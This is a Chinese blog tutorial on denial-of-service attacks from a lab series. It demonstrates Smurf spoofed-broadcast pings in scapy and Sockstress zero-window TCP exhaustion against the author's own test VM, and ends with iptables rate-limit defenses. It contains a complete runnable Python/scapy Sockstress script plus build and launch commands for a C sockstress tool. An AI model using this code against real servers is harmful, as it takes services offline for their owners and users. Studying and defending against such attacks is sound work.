美文网首页
二十八、拒绝服务--(3)Smurf攻击、Sockstress

二十八、拒绝服务--(3)Smurf攻击、Sockstress

作者: cybeyond | 来源:发表于2018-01-23 14:25 被阅读0次
                                   目录
    
    1. Smurf介绍
    2. Smurf测试
    3. Sockstress
      3.1 Sockstress 原理介绍
      3.2 Sockstress攻击脚本
      3.3 Sockstress测试DoS攻击
      3.4 github上专用sockstress测试
    4. 防御措施

    1、Smurf介绍

    • 世界上最古老的DDoS攻击技术
      • 向广播地址发送伪造源地址的ICMP echo Request(ping)
      • LAN所有计算机向伪造源地址返回响应包(只能发生在局域网范围内)
      • 对现代操作系统几乎无效(不响应目标为广播的ping),对广播的ping包不做回应

    2、Smurf测试

    >>> i=IP()
    >>> i.src="192.168.50.183"
    >>> i.dst="192.168.50.255"
    >>> i.display()
    ###[ IP ]### 
      version= 4
      ihl= None
      tos= 0x0
      len= None
      id= 1
      flags= 
      frag= 0
      ttl= 64
      proto= hopopt
      chksum= None
      src= 192.168.50.183
      dst= 192.168.50.255
      \options\
    
    >>> p=ICMP()
    >>> p.display()
    ###[ ICMP ]### 
      type= echo-request
      code= 0
      chksum= None
      id= 0x0
      seq= 0x0
    
    

    然后在192.168.50.183这台靶机上,开启抓包tcpdump -i eth0,观察当发送数据包时,靶机上是否可以伪造靶机的源地址后,局域网内的主机能否回应给靶机:

    >>> send(i/p)
    

    通过观测,还没有发现有reply的响应包。

    3、Sockstress

    3.1 Sockstress 原理介绍

    • 2008年由Jack C.Louis发现

    • 针对TCP服务的拒绝服务攻击

      • 消耗被攻击目标系统资源,但不会产生大量的流量带宽资源
      • 与攻击目标建立大量socket连接
      • 完成三次握手,最后的ACK包window(窗口)大小为0(客户端不接收数据)
      • 攻击者资源消耗小(CPU、内存、带宽)
      • 一步攻击,单机可拒绝服务高配资源服务器
      • Windows窗口实现的TCP流控
      • 一种不对称的资源消耗

    此攻击方式为在已经建立tcp连接的情况下,即在syn、syn+ack、ack(在此阶段发送中携带窗口为0)建立完成后,服务器会一直等待客户端的发送,因为客户端会一直与服务器保持连接,但不发送数据而且不用维持此连接,服务器一直等待而不断开,消耗内存和cpu资源。与syn flood的半连接不同。

    3.2 Sockstress攻击脚本

    #!/usr/bin/python
    # -*- coding: utf-8 -*- 
    
    from scapy.all import * 
    from time import sleep 
    import thread 
    import logging 
    import os 
    import signal 
    import sys 
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    
    if len(sys.argv) != 4:   
        print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"   
        print "举例: ./sock_stress.py 10.0.0.5 21 20    ## 请确定被攻击端口处于开放状态"     
        sys.exit()
        
    target = str(sys.argv[1]) 
    dstport = int(sys.argv[2]) 
    threads = int(sys.argv[3])
    
    ## 攻击函数
    def sockstress(target,dstport):   
        while 0 == 0:      
            try:         
                x = random.randint(0,65535)         //生成随机源端口
                response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)        //发包,发送带有syn                
                send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)      //接收到syn+ack后,发送ack包,此window为0
            except:         
                pass
                
    ## 停止攻击函数 
    def shutdown(signal, frame):     
        print '正在恢复 iptables 规则'   
        os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')   
        sys.exit()
        
    ## 添加iptables规则 
    os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP') 
    signal.signal(signal.SIGINT, shutdown)    //发出终止指令时,将iptables规则撤销
    
    ## 多线程攻击 
    print "\n攻击正在进行...按 Ctrl+C 停止攻击" 
    for x in range(0,threads):   
        thread.start_new_thread(sockstress, (target,dstport))
        
    ## 永远执行 
    while 0 == 0:   
        sleep(1)
    
    

    3.3 Sockstress测试DoS攻击

    前提条件:kali和靶机由于在同一网段内,可能会带来影响,因此将kali的虚拟机网卡设置为NAT模式,这样相当于从不同网段经过路由发送流量

    • 配置网卡为dhcp


      设置dhcp
    • 设置虚拟机为NAT模式


      设置NAT
    • 攻击效果查看
      在还没有发起攻击时,通过top查看靶机192.168.50.183上的内存及cpu等使用率如下:


      攻击前top查看

    此时开始发起攻击:


    攻击效果1

    发现靶机上cpu和内存直线下降,并且系统开始kill进程


    攻击效果2

    使用netstat -an | grep ESTABLISHED | wc -l查看,发现有大量的连接

    netstat查看ESTABLISHED已建立的连接
    统计连接

    使用free -m查看

    free查看

    3.4、github上专用sockstress测试

    在github上,使用c语言编写的sockstress,可以完成上述同样的效果,但是在执行前,需要添加iptables策略,过滤rst包

    • https://github.com/defuse/sockstress下载sockstress
    • gcc -Wall -c sockstress.c
    • gcc -pthread -o sockstress sockstress.o
    • ./sockstress 192.168.50.183:80 eth0 -p payloads/http
    • ./sockstress 192.168.50.183:21 eth0


      攻击开始
    攻击效果

    此种方法在攻击终止后,靶机的恢复速度非常慢,不像上节中终止后,靶机即刻就恢复。

    4、防御措施

    • 直到今天sockstress攻击仍然是一种很有效的DoS攻击方式
    • 由于建立完整的TCP三次握手,因此使用syn cookie防御无效
    • 根本的防御方法是采用白名单(不实际)
    • 折中对策:限制单位时间内每IP建的TCP连接数(仅限于单个IP情况下,但对于大量IP依旧无效)
      • 封杀每30秒与80端口建立连接超过10个的IP地址
      • iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
      • iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -seconds 30 --hitcount 10 -j DROP
      • 以上规则对DDoS攻击无效

    相关文章

      网友评论

          本文标题:二十八、拒绝服务--(3)Smurf攻击、Sockstress

          本文链接:https://www.haomeiwen.com/subject/dtwooxtx.html